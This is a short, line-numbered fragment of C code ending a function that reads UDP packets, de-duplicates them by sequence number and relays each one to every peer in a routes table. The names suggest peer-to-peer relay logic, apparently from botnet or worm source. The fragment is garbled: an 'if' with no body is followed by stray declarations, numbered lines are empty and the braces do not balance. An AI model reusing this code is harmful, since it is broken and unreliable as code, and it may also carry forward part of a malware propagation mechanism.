2417 struct header *rc=(struct header *)buf;
2418 if (udpserver.len < sizeof(struct header))
break;
2419 if (!useseq(rc->seq)) {
2420     addseq(rc->seq);
2421     for (a=0;a<LINKS;a++) if
                struct ainst ts;
                char srv[256];
                conv(srv,256,routes[a].ip);
2422
2423
2424
2425     audp_relay(&udpserver,&ts,srv,routes[a].port);
2426     relayclient(&ts,buf,udpserver.len);
2427
2428     }
2429     } break;
2430 } break;
2431 }
2432 }
2433 }
2434 }
2435     audp_close(&udpserver);
2436     return 0;
2437 }

```

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